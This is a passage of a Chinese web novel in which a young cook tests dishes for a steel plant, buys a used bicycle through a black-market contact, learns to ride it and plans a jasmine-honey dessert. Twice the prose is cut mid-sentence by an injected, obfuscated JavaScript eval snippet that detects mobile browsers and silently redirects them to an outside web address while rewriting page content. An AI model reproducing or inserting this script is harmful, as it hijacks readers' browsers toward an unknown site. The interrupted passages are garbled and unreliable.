刚进门准备打饭的工人们好几个都凑了过来，打饭的阿姨给大家的搪瓷快餐杯里各装了一些不同的菜，安厂长自己也打了一些，干烧鱼和红油猪耳朵的香味儿最为勾人，这个麻酱大拉皮也是平时工人们没吃过的，因此大家都抱着好奇的心态过来尝试。不多时，赵小霜做出来的菜就被一扫而空了。 21. 微辣毛血旺 离开钢铁厂以后，赵小霜准备去国营商店问一下缝纫机和自行车。安厂长显然对她的手艺比较满意，虽然还得再看看今天试菜工人们的意见，但听安静丽的意思，基本上就定好是她了。 赵小霜脚步轻快地往国营商店走去，今天是工作日，街道上人不是很多，街道边的几颗老银杏树的叶子已经变黄了，秋风吹过，不时有小扇子一样的叶子旋转着飘下来。 地下还掉了几个白果，银杏的白果可以入药，也可以和老母鸡一块煲汤，偶尔吃一点对身体有好处。但生的白果非常非常臭，赵小霜小时候不懂捡了几个玩，顺手放兜里给压烂了，结果衣服臭了一个月洗不掉味儿。 到了国营商店，赵小霜先买了几斤白糖和两桶醋，又买了一点其他的调料粉，用来做酱菜，至于猪肉、菌菇和蔬菜，赵小霜准备从黑市或者村里直接收购，一是她用的量会比较大，国营商店不会一次性卖给她这么多，二是国营商店都需要票证，赵小霜也没有那么多肉票和粮票。 买完调料赵小霜又在日用品区逛了逛，买了点蛤蜊油，给林秀英护手用。又买了几个印着“为人民服务”的红皮本，英雄牌钢笔倒是有货，要五块钱，对赵小霜来说负担得起，但是要四张工业券。这个时候圆珠笔也还没有普及，京市和深市可能有少量的货，川阳市应该都没有卖的。所以赵小霜只买了几根普通的中华牌2B铅笔，一根才五分钱，也能写很长时间了。 问到自行车的时候，售货员爱搭不理地应了一声：“八个月以后可能有，一百七十八块钱，十五张工业票。” 赵小霜又追问缝纫机什么时候能有货，售货员明显不耐烦地摆了摆手：“缝纫机也再过八个月，能有十几台，想买的话到时候过来排队。” 赵小霜也没辙，她只能再次寄希望于刘哥了，背着买好的东西，她一路摸进黑市的巷子里，找老四买了五十多斤猪肉和猪肚，买了一些干净的猪小肠，又买了一盆已经凝固好的猪血，猪血比鸭血更加细腻，也不容易碎，鸭血赵小霜一时半会也买不到，索性干脆用猪血来做毛血旺了。另外她准备灌点腊肠挂着，腊肠经过调味和晾干以后，保质期会很长，挂在通风处不用担心坏掉。万一哪天大雪封路了没办法出来买肉，剪几片腊肠蒸饭或者炒菜都非常不错。 赵小霜又四处奔走，买了一些蔬菜，也终于在巷子尾看到了刘哥，刘哥这次不知道从哪倒腾到一些烟酒，还有两块看着很新的金属表。刘哥每次卖的东西都不一样，也不知道他从哪整来的这些。赵小霜见周围没什么人，低声问他：“刘哥，你有没有办法能搞到缝纫机啊，不是那么新的也可以。” 刘哥有些为难：“大妹子，缝纫机现在太紧俏了，实在不好弄。”说罢，他又像想起什么似的：“诶，上次你让我帮忙打听自行车，我们邻居这两天正卖呢，就是可能没有那么新了，你看行不？” 赵小霜赶紧点头：“要，要，他怎么卖？” 刘哥伸出一个指头：“一百来块钱，飞鸽牌的。” 赵小霜没想到今天还有意外之喜，她本来想着怎么也得一个月才能拿到，这下可好了，她赶紧问刘哥：“我今天就想要，一会儿您方便带我过去不？” 刘哥起身拍了拍裤子上的土：“能行，我先带你过去吧，离得不远，不耽误做买卖。” 两个人收拾了摊位，左拐右拐没多久，就到了一个大院里，刘哥带着赵小霜上了二楼，敲了敲门：“杨哥！嫂子！在家吗？” 不一会儿，一个胖胖的中年女人开门走了出来，却没有请他们进去，只是冷冷地看着他俩：“什么事？” 刘哥搓了搓手，笑着说：“这不杨哥让我帮忙打听要自行车的，这位女同志想买，杨哥不在家？” “他上工去了，我怎么不知道他要卖自行车？” “杨哥没跟您说呀？”刘哥也有点尴尬，这两口子三天两头地吵架，吵急了还摔盆敲碗，但刘哥也没想到卖自行车这么大的事情，杨哥也没和媳妇儿商量。 他又局促地搓了搓手：“那我记错了估计是，嫂子您忙吧，我们不打扰了。” 结果刚扭头，杨哥就上来了楼梯：“小刘？你找到买自行车的人了？” “我怎么不知道家里要卖自行车？” 中年女人面色不虞。赵小霜直觉到一场狂风暴雨即将来临。 “哥，嫂子，那我们就先走了。” “走什么？！”杨哥也有些冒火：“和你商量什么？你肯定不让卖。小刘，推走。” 眼看着两个人又要掐起架来，刘哥赶紧拽着赵小霜下楼了，直到走出院门，还能听到两个人争吵的声音。 “对不住啊妹子，我也没想到是这么个情况，我再帮你问问吧，我最近都在那个巷子尾，你过来直接找我就行，我尽快帮你找找。” 赵小霜笑了笑：“没事儿刘哥，真太感谢你了，麻烦您缝纫机也帮着打听打听，我工业票不够，价格可以多加点。” 说完，她又补了一句：“要是实在买不着自行车，有人愿意按天出租也行，我按一天五毛给人家。”赵小霜开了一个比较高的价格，她也就最近这个月用车比较多，就算租20天，也就10块钱，对她来说不是特别贵，而出租车的那一方也能拿到一笔钱，也是皆大欢喜的一件事。 告别了刘哥，赵小霜也没别的事情了，趁着天还没黑，她快步赶了回去，想做一个微辣版的毛血旺试一试。 赵小霜在巷子里买了不少干辣椒，自己家里也种了一些红辣椒，做毛血旺之类的很够用了。到家以后，她先带了个橡胶手套，防止伤口湿水，然后才开始处理食材。 毛血旺需要用到的食材非常多，赵小霜把买来的豆腐皮切成一指宽的长条，豆芽、香菜、白菜之类的蔬菜都清洗干，猪血切成小块，猪肚翻开仔细地清洗一遍，切成细条焯水。还有之前剩下的一些鱼丸也备好，再把买来的干辣椒洗干净煮一会儿，和自己家摘的新鲜辣椒一起剁成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883672|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辣椒沫，就可以开始做了。 赵小霜这次买的调料非常全乎，什么草果、桂皮、八角、香叶、小茴香她全都买回来了，她把这些调料用高度白酒泡上，又给锅里舀了几大勺猪油开火熬制，把洗净控干的洋葱、生姜片、香菜、大葱段放进去炸，炸出香味以后捞出去，再把刚才用白酒泡过的调料和辣椒沫放进去，加上几勺子豆瓣酱，熬煮大概十来分钟，放点白糖和盐调味儿就做好了。 虽然这个做起来麻烦，但是做一次可以做一大锅，放进大盆里会正常冷却成固态的底料，只要味道合适，下次做毛血旺直接切一块用就可以。 赵小霜这次没多做，她怕掌握不好调料的配比，因此只做了一小盆。味道闻着倒是很香，不过辣椒放的比较多，熬制的时候也有点呛嗓子和眼睛。 因为她现在还在吃药，不能吃太辣的，所以她把大部分的底料都舀进了盆里，锅里剩下少量的底料，加上很多清水煮开，又加了一点生抽提味儿，这个时候的味道就明显淡了不少，她把各种食材按顺序下锅煮熟，铺到大碗里，再把汤汁也倒进去，切一些蒜末和葱花，再放几个青花椒和干辣椒段，用热油一泼，这毛血旺就算是做好了。 赵小霜又做了一个拍黄瓜，炒了一个青菜，蒸了一锅掺着玉米粒和高粱米的大米饭，毛血旺最适合用来配米饭吃，上一世赵小霜吃毛血旺能连下两碗大米饭。 趁林家三姐弟还没回来，她又把准备做腊肠的猪前腿肉都切好了，三肥七瘦，加上盐、糖、花椒粉和胡椒粉搅匀，这个肉馅不像普通饺子馅那么碎，赵小霜保留了一些肉块，这样吃起来口感会更好，但相应地，也需要多腌制一会儿才能入味儿。 赵小霜把这些都做好了，左等右等不见妈妈他们回来，心下一阵奇怪，一般这个时候怎么都回来吃饭了。她把毛血旺盖到锅里，收拾了一下出门去找他们。 结果没出巷子多久就碰到三个人背着大包小包回来了，赵小霜赶紧上去接过林秀英手里的东西：“妈，舅舅，你们去干啥了这是？” 林建华神色里掩饰不住的得意：“隔壁石河村人手不够，找咱们村生产队借了人过去帮忙收谷子，石河村的萝卜产量很高，他们自己村分配完也还剩特别多，我们寻思你不是也要做那个萝卜丁吗，就买了不少回来。” 到院子里，几个人把麻袋卸下来，嚯，还真没少买，除了普通的白萝卜，还有红皮的圆萝卜，石河村的土偏沙壤土，很适合种萝卜土豆和红薯，林建业还背了一些面土豆和红薯，这下家里的东西可真是齐全了。 晚上几个人坐在院子里吃着毛血旺，林秀英上午就已经缝好了窗帘，风从窗户吹进屋里，窗帘随着风鼓起来又落下去。林家三姐弟不怎么能吃辣，虽然赵小霜已经做成了微辣，几个人还是被辣得嘶哈嘶哈的。 猪血滑嫩，豆芽清爽，猪肚劲脆，配上香喷喷的大米饭，赵小霜不出意外地又吃了两大碗，直吃到肚子鼓鼓胀胀的，才不舍地放下筷子。 22. 学骑车 昨天做的毛血旺味道证明她的底料配比没有问题，赵小霜把凝固了的红油底料切成四四方方的小块，调料都沉到了底下，上边还有厚厚一层红油，闻起来辛香麻辣，勾得赵小霜又想再来一顿了。她把底料分开用油纸包好，放进坛子里保存，到时候直接带去钢铁厂使用就可以了。 赵小霜早上照例做了一些卤味，这次分成了两个口味，一个酱香甜口的，一个麻辣咸口的，她最近卖猪耳朵就发现了，虽然县里的人平时吃辣很少，但大家都很乐意尝鲜，赵小霜做的也是改良过的，并不会特别辣，因此卖的很好。所以她准备以后不管做什么，都尽量做两种，方便口味不同的人购买。 做好卤味以后，赵小霜又做了一些板栗糕，这次她多加了一些蜂蜜和白糖，吃起来会更甜更润，比较符合这个年代人们的口味。她带着老几样到了黑市，刚摆开一会儿，就看见刘哥推着一个自行车朝她走过来。见赵小霜的买卖红火，人一圈一圈围着，刘哥朝她点点头示意，往巷子尾去了。 等赵小霜终于卖完了东西脱出身，已经快正中午了，她赶紧去找刘哥，远远地朝他招手。 刘哥指了指旁边的自行车：“喏，你要的自行车。” 赵小霜简直不可置信：“刘哥，你这也太厉害了吧，说整就能整来啊！我以为得等半个多月呢！” “这还是昨天杨哥那个车，他决定卖了。”刘哥抽了口纸卷的烟，“杨嫂子她妈病了，在市医院住着，已经半个多月了，吃的药输的液都很贵，杨哥和杨嫂子这个月又上工又在外边接活儿的，也填不上这个窟窿。这不，杨哥实在没办法了才要卖这个自行车的。” 刘哥边说着边自行车推给赵小霜看。这个车保养得很好，如果不说，完全看不出来已经骑了一年，车链也是新上过油的，车身一点磕碰都没有，擦得非常干净。 刘哥又叹了口气：“当时为了嫂子上班方便，租的房离嫂子厂里近，杨哥每天得走四五十分钟才能到木材厂，去年才刚攒钱买了这个车，谁知道今年就出这事儿呢。” 赵小霜心里也是五味杂陈，看那天杨哥和杨嫂子吵架的架势，她还以为他俩已经关系紧张闹到要离婚的地步了，一开始她还觉得杨哥不和家里人商量擅自卖车这事儿做得不太地道，但没想到杨哥居然是因为这个原因要卖自行车。 “那嫂子同意卖自行车了？” 刘哥又摇了摇头：“不知道，反正杨哥把车给我了，他说那个病要做手术，拖不得，他急用钱，说一百一就行了，就今天得赶紧卖了。” 赵小霜今天出门没想着要买大件，因此没有带这么多钱，她把口袋里的钱都掏出来，今天卖卤味和板栗糕一共得了四十五块钱，加上她早上出门带的二十三块钱，一共六十八，她只好让刘哥等她一会儿：“刘哥，剩下的钱我现在回去就拿给您，这车我要了，给我留着啊！” 赵小霜赶紧收拾了背篓，路上遇到同乡，又让人家捎带了一段路，这才紧赶慢赶把钱取回来。 赵小霜数出来七十二块钱递给刘哥，又掏出了几张粮票和肉票一起塞给刘哥：“杨哥这个车保养得好，看着很新，我出一百四买了。这几张粮票肉票就当我感谢您和杨哥，谁家都有不容易的时候。” 刘哥本来想推拒一下，又想到杨哥上门来找他时，因为熬夜干活儿布满血丝的双眼和乌青的眼圈，他叹了口气：“大妹子，你是个好心的，我替杨哥谢过你了，以后你有什么事儿，尽管和哥说，哥能帮上的，一定帮！” 刘哥又叮嘱了几句赵小霜刹车和打气的事儿，就拿着钱赶紧收拾摊子了，这一大笔钱他拿着也没办法安心做买卖，而且也怕嫂子的娘着急用钱做手术，他几乎是五步并作一步，飞快地往大院赶去了。 等刘哥走了，赵小霜才反应过来，她不会骑车啊！今天这车来的突然，刚才她回去拿钱也没想到这一茬，光顾着赶路怕车被别人买走了，也没叫小舅或者妈妈过来。 怎么办，好像只能推着回去了。赵小霜哭笑不得，她把背篓固定到后座上，推着车座高到她腰边的二八大杠，磕磕绊绊地推出了巷子。 这一路上赵小霜被脚蹬子磕了好几次腿，这才终于把这个车推回去，到了家门口，却看到周翊凡站在巷子口，背着光站着，好像在等人一样。 赵小霜推着车走过去：“周医生？” 周翊凡抬头，看到赵小霜推着高高的二八大杠露出询问的眼神，解释道：“李师傅说回来一批材料，明天他过来贴保温层和铺地砖，让我遇到你说一声。” 赵小霜赶紧点头，但又疑惑地问：“你就专门过来和我说这个呀？” 周翊凡指了指放在赵小霜家门口的一大摞灰黑色的板材：“我给你把材料送过来了，李师傅明天带不过来这么多。”说罢，他拍了拍赵小霜的车座子：“这车座子这么高，你怎么骑回来的？” 赵小霜把车停一边，把门打开请他进来：“我还没学会呢，我一路推回来的。你今天休假？” 周翊凡点点头：“昨天上的夜班，今天白班休半天，我就正好过来了。今天时间还早，我教你骑车？” 赵小霜有点不好意思：“是不是有点太麻烦你了周医生。” “已经麻烦那么多回了，也不差这一回。”周翊凡搬完了材料，已经找了扳手去帮赵小霜调车座了，不过这自行车本身就高，就算车座子调到最低，赵小霜也还得踮着脚才能骑上去。 周翊凡大概给她讲了一下怎么骑车，就把赵小霜“拎”了上去，好在赵小霜悟性高，在周翊凡的指导和保护下，没一会儿她就能一个人骑着走一段了。 见赵小霜平衡能力不错，周翊凡也直接松开了手，赵小霜这下可开心坏了，原来这学骑车也不难嘛，她左摇右晃，有点得意忘形，非要带着周翊凡骑车出去遛弯。受不了赵小霜热情的邀请，周翊凡无奈，只好长腿一迈坐了上去。 赵小霜一开始骑得还稳稳当当的，结果拐歪处几个玩滚铁环的小孩突然从巷子里跑出来，赵小霜慌乱之中，又害怕撞到他们，直接整个人连人带车地往旁边倒去，好在周翊凡腿长，直接把车架住了一些，但两个人还是摔到了地上。 周翊凡站起来拍了拍裤子上的土，一脸沉默。赵小霜也赶紧爬起来，好在现在农村都是土路，比较松软，两个人都没受伤，赵小霜拍了拍身上的土，一时有些尴尬。都怪自己太得意忘形了，哪有刚学会爬就要跑的，自己摔了不说，还连带着把周翊凡也摔了。 周翊凡心里也有点无语，本来就刚刚教会她，赵小霜不知道骑车带人难，他自己难道不知道吗，她非要带他，他居然耐不住她的催促就同意了。这下好了，两个人都摔个狗吃屎，周翊凡平时毫无破绽的脸上终于出现了一丝裂痕。 旁边几个小孩停了铁环，为首的女孩子看着像七八岁的样子，拘谨地揪着衣角，给赵小霜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883673|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道歉：“对不起姐姐，你们没受伤吧？” 赵小霜捏了捏她的脸蛋，摆出姐姐的架势：“以后可不能在大马路上这样玩啊！太危险了！”她又拍了拍小女孩的脑袋：“姐姐和哥哥没事，你们玩去吧。” 几个小孩拿着铁环四散跑了，赵小霜不好意思地看着周翊凡：“要不还是你骑吧，我不太敢带你了。” 这个时候远处走来了一个老婆婆，她挎着一个竹编的篮子，远远地吆喝着：“茉——莉———！卖茉莉花咯！” 赵小霜几乎是同时就闻到了茉莉的清香，她平时最喜欢花香果香，尤其最喜欢茉莉花。重回来这一世，她还没有见到过茉莉花，她立刻跑过去问：“奶奶，你这茉莉怎么卖呀？” “一串一分钱，你可以当手链带，也可以泡茶喝。” 老婆婆一边用麻线把一朵朵的茉莉花串起来，一边说：“这茉莉花也就最后一茬了，过了这个月可就没有啦。” “奶奶，给我来一串。”赵小霜拿出一分钱买了一串，伸手让老婆婆给她带上。雪白的茉莉花串系在赵小霜的纤细手腕上，和她今天穿的白衬衫特别搭配，她的裤腿上还粘着摔倒时蹭到的泥土，但一张小脸神采奕奕，显然还沉浸在学会骑车的兴奋里。 周翊凡看着阳光下的赵小霜，一时有点晃神，平日里见到赵小霜，虽然也很有精气神，有点时候却总是不自觉地皱眉头，或者心事重重的样子，说话做事也有着远超年龄的成熟。今天却难得看到她表现得像小孩一样。 “怎么啦？” 赵小霜的声音把周翊凡唤了回来，她举起手腕给周翊凡看：“好看吧？奶奶说这是今年最后一茬茉莉了。” 周翊凡点点头：“好看。” 经过刚才的摔跤，周翊凡已经不信任赵小霜的车技了，赵小霜自己也不敢再托大，乖乖地坐到了后座上，周翊凡的车技就好了很多，他稳稳地带着小霜往家里走。 腕间茉莉的清香传来，赵小霜抬起手腕嗅了嗅，她突然想起来之前在临安市的街边吃过一种甜豆花，临安市是深市旁边的一个小城市，当时培训期间她一个人跑出去散心，也顺带吃了许多那边的小吃。那种甜豆花和北方的豆腐脑很像，但是比豆腐脑要更弹，而且配的佐料也都是甜口的，赵小霜吃的是加了茉莉蜜的，蜂蜜被茉莉香浸润以后少了一丝甜腻，洁白的茉莉花瓣变得晶莹剔透，豆花冰凉爽口，比酸奶酪口味更淡，却也能更好地突出茉莉的香味儿。 赵小霜这两天正愁席面的甜点做什么合适，这下她心里几乎是瞬间就确定了，豆花只需要普通的豆子就可以做，和做豆腐差不多，成本也不高。她还可以把家里的桂花也做一个桂花蜜，用这两种蜜来配甜豆花，简单易做，大人小孩应该都很爱吃。吃完毛血旺这种辣菜，来一碗清爽解辣、冰凉适口的甜豆花实在是再合适不过了。 赵小霜赶紧拍了拍周翊凡：“停车停车！” 周翊凡赶紧刹车，车还没停稳，赵小霜就跳下车往回跑了，周翊凡眼看她跑回刚才的地方，和老婆婆说了什么，就把装满茉莉花的篮子挎在了自己胳膊上。 赵小霜满意地回来，坐上后座：“周医生，晚上我酿茉莉蜜，你回去的时候给你带一瓶。你平时泡水喝放一点这个，特香。” “我发现你有个特别神奇的地方。” “什么？” “不管什么东西，到你这儿都得变成吃的。”